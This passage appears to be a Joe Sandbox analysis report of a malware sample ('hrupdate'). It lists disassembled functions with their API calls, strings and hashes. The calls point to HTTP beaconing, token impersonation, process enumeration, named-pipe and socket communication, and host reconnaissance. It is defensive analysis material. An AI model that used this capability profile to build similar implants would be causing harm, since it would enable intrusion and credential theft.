API ID: _mallocaccepthtonl$CountTick_memsetclosesocketioctlsocketselect
String ID: d
API String ID: 4083423528-2564639436
Opcode ID: ccd8bad9d14b531e1dd462e352f7f1c75f6216a422f7f351c727a737f57b4245
Instruction ID: 9d5d6954305dd087135ad36ba1067e21338098f7b4de2faadcf920553c1ae922
Opcode Fuzzy Hash: ccd8bad9d14b531e1dd462e352f7f1c75f6216a422f7f351c727a737f57b4245
Instruction Fuzzy Hash: 9F7125B1800609ABEF21EFA4CD44AABB7FCEF44304F1045AAE556E6650F7B0BE458B54

Function 04696DB9 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 196networksleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04696DE4
_memset.LIBCMT ref: 04696DF9
__snprintf.LIBCMT ref: 04696E65
_memset.LIBCMT ref: 04696E73
__snprintf.LIBCMT ref: 04696E8F
__snprintf.LIBCMT ref: 04696EAE
__snprintf.LIBCMT ref: 04696F4C
__snprintf.LIBCMT ref: 04696F63
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,*/*,046DA668), ref: 04696FA0
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 04696FC9
InternetCloseHandle.WININET(00000000), ref: 04696FDB
Sleep.KERNEL32(000001F4), ref: 04696FE2
InternetCloseHandle.WININET(00000000), ref: 04696FF3

Strings

%s%s, xrefs: 04696F5C
*/*, xrefs: 04696DD4, 04696F87

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: __snprintf$_memset$CloseHandleHttpInternetRequest$OpenSendSleep
String ID: %s%s$*/*
API String ID: 3375730287-856325523
Opcode ID: b5c12342ca27f6e53445082950d6ec9b2299419791799e91af6316ddb010ce37
Instruction ID: 454ece3e4e000af9029240d0fbd7106773056f35766daf74a58425cbf38c184e
Opcode Fuzzy Hash: b5c12342ca27f6e53445082950d6ec9b2299419791799e91af6316ddb010ce37
Instruction Fuzzy Hash: 4861B472D00219AFEF11AFA4DD44EEE7BBDEB05304F0440A9E605A3211F775AE588F64

Function 04698E95 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 184processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04698EC3
_memset.LIBCMT ref: 04698EDF

Part of subcall function 04697635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,046990F0,?,04698F09,046990F0,?,00000400), ref: 0469764B
Part of subcall function 04697635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,046990F0,04698F09,?,04698F09,046990F0,?,00000400,?,?,?,?,046990F0), ref: 04697664

GetCurrentDirectoryW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,046990F0,0469E106,?,?,0469E106,?), ref: 04698F29
GetCurrentDirectoryW.KERNEL32(00000400,?,?,?,?,?,?,?,?,046990F0,0469E106,?,?,0469E106,?), ref: 04698F38
CreateProcessWithTokenW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,?,C2E8296A,83FFFFD9), ref: 04698F6B

Strings

system32, xrefs: 04699027
sysnative, xrefs: 04699007

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide_memset$CreateProcessTokenWith
String ID: sysnative$system32
API String ID: 2486443368-2461298002
Opcode ID: 32fa74a5e886ed3b8a3a0809681b96f85aed69606e8a180ba967d398c26d4a5a
Instruction ID: 5af79375583b4503e4b9f0ad30ec19aeafc4ba6db388b094f66b05473e70f434
Opcode Fuzzy Hash: 32fa74a5e886ed3b8a3a0809681b96f85aed69606e8a180ba967d398c26d4a5a
Instruction Fuzzy Hash: 5C510672604245AFDB21AF64DC84EA773EDEF95304F14482DE589C3201FA75BD088B66

Function 0469F317 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 161processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0469F339

Part of subcall function 046958BF: _malloc.LIBCMT ref: 046958C5

GetCurrentProcess.KERNEL32 ref: 0469F384
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0469F3B9
Process32First.KERNEL32(00000000,?), ref: 0469F3DB

Part of subcall function 0469590F: htonl.WS2_32(00000000), ref: 04695915

Process32Next.KERNEL32(00000000,00000128), ref: 0469F4BE

Part of subcall function 0469F2AA: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 0469F2B7

ProcessIdToSessionId.KERNEL32(?,?,?,00000002,00000000), ref: 0469F463

Strings

x86, xrefs: 0469F391, 0469F48B
%s%d%d%s%s%d, xrefs: 0469F4A2
%s%d%d, xrefs: 0469F430
x64, xrefs: 0469F39A, 0469F3A8

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Process$Process32$CreateCurrentFirstNextOpenSessionSnapshotTokenToolhelp32_malloc_memsethtonl
String ID: %s%d%d%s%s%d$%s%d%d$x64$x86
API String ID: 3674674043-1833344708
Opcode ID: 08e391ee5fabc6f6e5ce67a01dce01dd1ce56eb20a6b12c4f6be023cb42fb39f
Instruction ID: 329d123c0ec4bc600cef22e2576dd0c515d952cdd6f1e201930b6dc6806e64ba
Opcode Fuzzy Hash: 08e391ee5fabc6f6e5ce67a01dce01dd1ce56eb20a6b12c4f6be023cb42fb39f
Instruction Fuzzy Hash: 56517372D0421DAAEF15ABA4CC45FEE77FCDF04718F100069E509E2141FA74BE958BA5

Function 046A2602 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 129COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 046A2626

Part of subcall function 046A23B3: _memset.LIBCMT ref: 046A244F

Strings

p=v, xrefs: 046A26FA
0-v, xrefs: 046A2752
`+v, xrefs: 046A2710
0/v, xrefs: 046A2726
0.v, xrefs: 046A27AD
p,v, xrefs: 046A2673
P.v, xrefs: 046A2781
/v, xrefs: 046A27EF
@Cv, xrefs: 046A269F

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset
String ID: 0-v$0.v$0/v$@Cv$P.v$`+v$p,v$p=v$/v
API String ID: 2102423945-2462229890
Opcode ID: 6ad8180fdeef0ab323de25507958883153845f178674c75bceb06ad390e5a579
Instruction ID: 4bab0d1608dc3a21cfce58719d6a65cebf81418981679e921af73b46bace59f4
Opcode Fuzzy Hash: 6ad8180fdeef0ab323de25507958883153845f178674c75bceb06ad390e5a579
Instruction Fuzzy Hash: E1414731D5982C6BE711EF25CE66CC962BEAF44224F4601E7A00DB7240F670FF658EA5

Function 0469D701 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0469D712
select.WS2_32(00000000,00000000,?,?,00000000), ref: 0469D75D
__WSAFDIsSet.WS2_32(?,?), ref: 0469D76D
__WSAFDIsSet.WS2_32(?,?), ref: 0469D780
GetTickCount.KERNEL32 ref: 0469D789
gethostbyname.WS2_32(?), ref: 0469D794
htons.WS2_32(?), ref: 0469D7A7
inet_addr.WS2_32(?), ref: 0469D7B3
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0469D7CD

Strings

d, xrefs: 0469D720

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountTick$gethostbynamehtonsinet_addrselectsendto
String ID: d
API String ID: 1257931466-2564639436
Opcode ID: 1056d3bef331116d7464a0cc00ff16f890456eff9c887b633e29747ca6ce7f41
Instruction ID: f0646baf04bfe029401f24b749abbd69172785e27d62f6e0a93b0d0c52436265
Opcode Fuzzy Hash: 1056d3bef331116d7464a0cc00ff16f890456eff9c887b633e29747ca6ce7f41
Instruction Fuzzy Hash: 28214F75900309AADF119FA0EC45BEE7BB9EF08304F1001A6EA04AA151F775EE958F94

Function 046A1283 Relevance: 16.8, APIs: 11, Instructions: 289COMMON

Download Yara Rule

APIs

Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF65
Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF75

_memset.LIBCMT ref: 046A12EC

Part of subcall function 046A175D: _memset.LIBCMT ref: 046A1859

_malloc.LIBCMT ref: 046A12FA

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

_memset.LIBCMT ref: 046A130C

Part of subcall function 046A4B98: _malloc.LIBCMT ref: 046A4BBF
Part of subcall function 046A4B98: _memset.LIBCMT ref: 046A4BED

Part of subcall function 046A1871: _memset.LIBCMT ref: 046A1950

_malloc.LIBCMT ref: 046A132F
_memset.LIBCMT ref: 046A1341

Part of subcall function 046A4B98: _realloc.LIBCMT ref: 046A4BCE

htonl.WS2_32(00000000), ref: 046A1372
GetComputerNameExA.KERNEL32(00000006,?,?), ref: 046A13DB
GetComputerNameA.KERNEL32(0469F6FF,?), ref: 046A1408
GetUserNameA.ADVAPI32(?,?), ref: 046A1435

Part of subcall function 04697388: WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 046973AC

_malloc.LIBCMT ref: 046A1504
_memset.LIBCMT ref: 046A1591

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$Name$Computer$AllocateHeapSocketUser_reallochtonl
String ID:
API String ID: 2958771099-0
Opcode ID: baac746fd596eb03cbb95402ad302934dbbf3602bff8cae3882802ad746433b6
Instruction ID: 3c6ddd24825ca8ca3c94f05b818067f3a22b3e95db91629efc8cf0d99314ca97
Opcode Fuzzy Hash: baac746fd596eb03cbb95402ad302934dbbf3602bff8cae3882802ad746433b6
Instruction Fuzzy Hash: 07912872D40B046AFB20ABA4DC85FEE77ACEF45714F10402EF544AB280FA76BD518B64

Function 046A4268 Relevance: 16.6, APIs: 11, Instructions: 126COMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 046A4290
htonl.WS2_32(?), ref: 046A42A0
GetLastError.KERNEL32 ref: 046A42CC
OpenProcessToken.ADVAPI32(00000000,00000000,00000008), ref: 046A42F0
GetLastError.KERNEL32 ref: 046A42FA
ImpersonateLoggedOnUser.ADVAPI32(00000008), ref: 046A4319
GetLastError.KERNEL32 ref: 046A431F
DuplicateTokenEx.ADVAPI32(00000008,02000000,00000000,00000003,00000001,046DAF5C), ref: 046A433E
GetLastError.KERNEL32 ref: 046A4348
ImpersonateLoggedOnUser.ADVAPI32 ref: 046A435A
GetLastError.KERNEL32 ref: 046A4360

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$ImpersonateLoggedTokenUserhtonl$DuplicateOpenProcess
String ID:
API String ID: 332438066-0
Opcode ID: aa6e5ee7671c3956e9743f2a57b84cb7fac802f4412c91d5183187c155316b15
Instruction ID: eef1b2982ec44e99b368acf6196d159ad1d2a6ef680360dc3c90327181930169
Opcode Fuzzy Hash: aa6e5ee7671c3956e9743f2a57b84cb7fac802f4412c91d5183187c155316b15
Instruction Fuzzy Hash: EF41F3B1A00608FAFB206FA1DC49FBA3BACEF01749F104165E901A5241FFB46DA59F21

Function 0469C74E Relevance: 16.6, APIs: 11, Instructions: 90pipesleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0469C75D
GetTickCount.KERNEL32 ref: 0469C767
GetLastError.KERNEL32 ref: 0469C7C1

Part of subcall function 046A3BBA: _memset.LIBCMT ref: 046A3C43

GetLastError.KERNEL32 ref: 0469C783
WaitNamedPipeA.KERNEL32(?,00002710), ref: 0469C798

Part of subcall function 0469C387: _memset.LIBCMT ref: 0469C3A8

Sleep.KERNEL32(000003E8), ref: 0469C7A5
GetTickCount.KERNEL32 ref: 0469C7AB
GetLastError.KERNEL32 ref: 0469C7D1
SetNamedPipeHandleState.KERNEL32(?,?,00000000,00000000), ref: 0469C7EE
GetLastError.KERNEL32 ref: 0469C7F8
DisconnectNamedPipe.KERNEL32(?), ref: 0469C832

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$CountNamedPipeTick$_memset$DisconnectHandleSleepStateWait
String ID:
API String ID: 3382687554-0
Opcode ID: 8ed66827f00a262d5c9451f1614a1332a96a3ee644e95efaaccb4d2f02097bba
Instruction ID: 8ef0594702b0e64e62182c2677aff0cb1a3441dacff6d2074873f548fb821cd1
Opcode Fuzzy Hash: 8ed66827f00a262d5c9451f1614a1332a96a3ee644e95efaaccb4d2f02097bba
Instruction Fuzzy Hash: FD21D332A042046BFF006BB4DC85BBD3ADCEB06764F200426F605EA5C1FFA4BD915AA5

Function 0469D63B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0469D64C
select.WS2_32(00000000,00000000,?,?,00000000), ref: 0469D69A
__WSAFDIsSet.WS2_32(?,?), ref: 0469D6AA
__WSAFDIsSet.WS2_32(?,?), ref: 0469D6BD
send.WS2_32(?,00000000,?,00000000), ref: 0469D6D1
WSAGetLastError.WS2_32(?,00000000,?,00000000,?,?,?,?), ref: 0469D6DB
Sleep.KERNEL32(000003E8), ref: 0469D6ED
GetTickCount.KERNEL32 ref: 0469D6F3

Strings

d, xrefs: 0469D65A

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepselectsend
String ID: d
API String ID: 2152284305-2564639436
Opcode ID: b898984ca2ed71160639e443b8abf351919c805a253daac47dd92afc1cbca6d3
Instruction ID: 29fdbd400cbbe42bee9ccd64502e6b94237390cee9d634eacab0b0d338aed492
Opcode Fuzzy Hash: b898984ca2ed71160639e443b8abf351919c805a253daac47dd92afc1cbca6d3
Instruction Fuzzy Hash: 01117C31A0020DABDB119FA4DC84BE97ABCEB04314F1001B6E608D2190EBB4BE959FD0

Function 0469A9C6 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0469A9D6
_memset.LIBCMT ref: 0469A9E2

Part of subcall function 0469AB4C: _malloc.LIBCMT ref: 0469AB9E
Part of subcall function 0469AB4C: _malloc.LIBCMT ref: 0469ABA9
Part of subcall function 0469AB4C: _memset.LIBCMT ref: 0469ABB5
Part of subcall function 0469AB4C: _memset.LIBCMT ref: 0469ABC0
Part of subcall function 0469AB4C: _rand.LIBCMT ref: 0469AC1E

__snprintf.LIBCMT ref: 0469AA33
__snprintf.LIBCMT ref: 0469AA4B
_memset.LIBCMT ref: 0469AA6A
_memset.LIBCMT ref: 0469AA75

Strings

?%s, xrefs: 0469AA26
%s&%s, xrefs: 0469AA3E

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$__snprintf_malloc$_rand
String ID: %s&%s$?%s
API String ID: 1876596931-1750478248
Opcode ID: 049669ce170371697362afc36fe89a6d4eef69d8595eb903441130804ca49a4f
Instruction ID: c0d25f978af9debee9d070ee39c7e534a83d4c4c3ba3b836a1cb2110c24cf308
Opcode Fuzzy Hash: 049669ce170371697362afc36fe89a6d4eef69d8595eb903441130804ca49a4f
Instruction Fuzzy Hash: E2219F72500140BBEF14AE45CD81F5B3BA9EF91704F144098EE006B296E6B1FE61CBE9

Function 0469D530 Relevance: 13.6, APIs: 9, Instructions: 101networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 0469D54F
htons.WS2_32(00000000), ref: 0469D560
socket.WS2_32(00000002,00000001,00000000), ref: 0469D599
closesocket.WS2_32(00000000), ref: 0469D5A8
gethostbyname.WS2_32(00000000), ref: 0469D5C6
htons.WS2_32(?), ref: 0469D5F2
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0469D605
connect.WS2_32(00000000,?,00000010), ref: 0469D616
WSAGetLastError.WS2_32(00000000,?,00000010), ref: 0469D61F

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: htons$ErrorLastclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3339321253-0
Opcode ID: b3df2fbe22fb5934ac3a91e48de5a41b752494447ac1cb1a1eb7b84b491f055e
Instruction ID: 0be0568fac207c345b4ab4120dbdcd22c0025d80a914af6a6909025634e559b4
Opcode Fuzzy Hash: b3df2fbe22fb5934ac3a91e48de5a41b752494447ac1cb1a1eb7b84b491f055e
Instruction Fuzzy Hash: 4431D6B2E002186AEF21ABA4CC44EFE77ECDF4425CF144079E544E7180F674BE4587A9

Function 046991A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 130processCOMMON

Download Yara Rule

APIs

Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF65
Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF75

_memset.LIBCMT ref: 04699203
GetStartupInfoA.KERNEL32(?), ref: 0469921B

Part of subcall function 04697635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,046990F0,?,04698F09,046990F0,?,00000400), ref: 0469764B
Part of subcall function 04697635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,046990F0,04698F09,?,04698F09,046990F0,?,00000400,?,?,?,?,046990F0), ref: 04697664

GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 04699280
GetCurrentDirectoryW.KERNEL32(00000400,?), ref: 0469928A
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000001,00000000,00000000,00000000,00000000,00000000,?,0469773C), ref: 046992B5
GetLastError.KERNEL32 ref: 046992C4

Part of subcall function 04696B06: _vswprintf_s.LIBCMT ref: 04696B22

Strings

%s as %s\%s: %d, xrefs: 046992D4

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide_malloc$CreateErrorInfoLastLogonProcessStartupWith_memset_vswprintf_s
String ID: %s as %s\%s: %d
API String ID: 963358868-816037529
Opcode ID: 7e9c04b1cd813ce51ee2249352b4bca33ccf4de62e1c4fec5339a1403a6e5649
Instruction ID: 5a764b656ca386bbb302c4c6359c1bfe22dafbda339f6e3ae3e83ce8f4fc78a6
Opcode Fuzzy Hash: 7e9c04b1cd813ce51ee2249352b4bca33ccf4de62e1c4fec5339a1403a6e5649
Instruction Fuzzy Hash: 84413972D00208BAEF01AFA5DC44AEFBFBDEF59314F104029F608A6160E6B55911DBA5

Function 046A40BA Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 046A40DE
_memset.LIBCMT ref: 046A40EC
_memset.LIBCMT ref: 046A40FA
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,00001000,?), ref: 046A4117
LookupAccountSidA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 046A4146
__snprintf.LIBCMT ref: 046A4168

Strings

%s\%s, xrefs: 046A4161

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$AccountInformationLookupToken__snprintf
String ID: %s\%s
API String ID: 2009363630-4073750446
Opcode ID: 7d08535a1eb7b8d3b380910b5f916cced3593a45ad79fe1973cd7f7994aa8eb0
Instruction ID: 31826b385066d02c928934b0f685416238259de433748cb8b49b5f980dfbf003
Opcode Fuzzy Hash: 7d08535a1eb7b8d3b380910b5f916cced3593a45ad79fe1973cd7f7994aa8eb0
Instruction Fuzzy Hash: 082191B294011DBADB11DA90DC84EEB77BCEB15644F0444BAB615E2100EA74AFD48FA5

Function 04695AA2 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_vwprintf.LIBCMT ref: 04695AC1

Part of subcall function 046AEF6C: __vscwprintf_helper.LIBCMT ref: 046AEF7E

_malloc.LIBCMT ref: 04695AE6
htonl.WS2_32(?), ref: 04695B00
htonl.WS2_32(?), ref: 04695B0A
_vswprintf_s.LIBCMT ref: 04695B1F
_memset.LIBCMT ref: 04695B36

Strings

9, xrefs: 04695AD6

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: htonl$__vscwprintf_helper_malloc_memset_vswprintf_s_vwprintf
String ID: 9
API String ID: 1612592715-2366072709
Opcode ID: 4263974810f653cee3035b964d8c62451eb001bf5c73a31983de5078014a428e
Instruction ID: 4e8b3345ebd59e3e535282945a7b027df2652d1321cfefcdc833b0f4801386fb
Opcode Fuzzy Hash: 4263974810f653cee3035b964d8c62451eb001bf5c73a31983de5078014a428e
Instruction Fuzzy Hash: 6511B976800709FFEF12AFA4C980ADEBBFCEF44218F10446AE95597140FB71AE558B54

Function 04697CA3 Relevance: 12.1, APIs: 8, Instructions: 105sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04697CB9
GetLastError.KERNEL32 ref: 04697D1B
GetTickCount.KERNEL32 ref: 04697D26
Sleep.KERNEL32(000003E8), ref: 04697D31
GetLastError.KERNEL32 ref: 04697D3D
FlushFileBuffers.KERNEL32(?), ref: 04697DAD
DisconnectNamedPipe.KERNEL32(?), ref: 04697DB4
Sleep.KERNEL32(?), ref: 04697DC7

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountErrorLastSleepTick$BuffersDisconnectFileFlushNamedPipe
String ID:
API String ID: 3377695601-0
Opcode ID: 514c7d2c89b0cb3e58b9d80f03f13089021136a6c6eaabfefee522c80d0cda9b
Instruction ID: a7c90f80eab58eb588f505c71e6cfb4e51807f3ca5d8ba7657a9a315fe0807dc
Opcode Fuzzy Hash: 514c7d2c89b0cb3e58b9d80f03f13089021136a6c6eaabfefee522c80d0cda9b
Instruction Fuzzy Hash: 073141B2D00218EBEF01EBE4DC85AEE77BCEB05215F140466E905E2241FA75AE488F65

Function 046AFB12 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 046AFB74
_memcpy_s.LIBCMT ref: 046AFBE9
__fileno.LIBCMT ref: 046AFC49
__read.LIBCMT ref: 046AFC50
__filbuf.LIBCMT ref: 046AFC74
_memset.LIBCMT ref: 046AFCBA
_memset.LIBCMT ref: 046AFCE5

Part of subcall function 046B0E0C: __getptd_noexit.LIBCMT ref: 046B0E0C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: 2dcd1c0d9137e8368c2b94111f2da4de1d422b23fb1f42fcf42c423265031aed
Instruction ID: c64132f85d1acbc01cd77f7d80d7165a7f0d34ab1c3c96bcc638a7643c329c65
Opcode Fuzzy Hash: 2dcd1c0d9137e8368c2b94111f2da4de1d422b23fb1f42fcf42c423265031aed
Instruction Fuzzy Hash: DE513B70A00A04EFCB289F79CC4459FBBB5EF50324F148619E86652290F730BD65CF96

Function 0469AB4C Relevance: 10.7, APIs: 7, Instructions: 184COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0469AB9E
_malloc.LIBCMT ref: 0469ABA9
_memset.LIBCMT ref: 0469ABB5
_memset.LIBCMT ref: 0469ABC0
_rand.LIBCMT ref: 0469AC1E
_memset.LIBCMT ref: 0469AC99
_memset.LIBCMT ref: 0469ACB5

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _memset$_malloc$_rand
String ID:
API String ID: 2453798774-0
Opcode ID: 43a630f9c2c5dc45cb3fd9fca9a2bac02f805ed883695b139c2e326fcb9720ec
Instruction ID: e0c263a2156e36054538b5643aa26689aaacb178fc3020664f9e1903dcd0f323
Opcode Fuzzy Hash: 43a630f9c2c5dc45cb3fd9fca9a2bac02f805ed883695b139c2e326fcb9720ec
Instruction Fuzzy Hash: 32513931A00245AFEF019FB8CC54BFE7BF9DF56204F184099E985AB350FA71AE048794

Function 046A1BB6 Relevance: 10.6, APIs: 7, Instructions: 101COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 046A1BC8

Part of subcall function 046AEC25: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,046A1BCD,00000000,00000080,00000000,00000000,?,?,?,046945CD,?,00000000,00000000), ref: 046AEC30
Part of subcall function 046AEC25: __aulldiv.LIBCMT ref: 046AEC50

Part of subcall function 046AEFA9: __getptd.LIBCMT ref: 046AEFAE

_malloc.LIBCMT ref: 046A1C0F
_memset.LIBCMT ref: 046A1C1C
_strtok.LIBCMT ref: 046A1C36
_strncpy.LIBCMT ref: 046A1C6E
_strncpy.LIBCMT ref: 046A1C96
_strtok.LIBCMT ref: 046A1CA2

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Time_strncpy_strtok$FileSystem__aulldiv__getptd__time64_malloc_memset
String ID:
API String ID: 3612108075-0
Opcode ID: 258f2f9866b8ebb61934d4b7fc86b119a763a305cbd324ba8ef88b79bd288579
Instruction ID: da26f8a35725279005dda0ebf4f2cbdf9bac5624717f4def8e5896d3847e03e9
Opcode Fuzzy Hash: 258f2f9866b8ebb61934d4b7fc86b119a763a305cbd324ba8ef88b79bd288579
Instruction Fuzzy Hash: DF31F1B2200A06AEEB109F34CC85BDB7BADEB45258F00442DF55AC7180FA35F9694B54

Function 046A47B4 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 046A47E8
OpenProcessToken.ADVAPI32(00000000,?,00000000), ref: 046A4806
GetLastError.KERNEL32 ref: 046A4810

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$OpenProcessToken
String ID:
API String ID: 2009710997-0
Opcode ID: 980f6411ab10b11a627b3a74d13847bf6dd21627529d16d9d2ab7ea6f41cb637
Instruction ID: 2c91f1b0387815a68ac81bb20c1b6d3eb2955ab36d79746f48b09f3aed13b55a
Opcode Fuzzy Hash: 980f6411ab10b11a627b3a74d13847bf6dd21627529d16d9d2ab7ea6f41cb637
Instruction Fuzzy Hash: C1215471A00714BFFB506FF1EC4ABAA7A68EF11719F104028B60594181FAF8EE64DE65

Function 0469AA90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

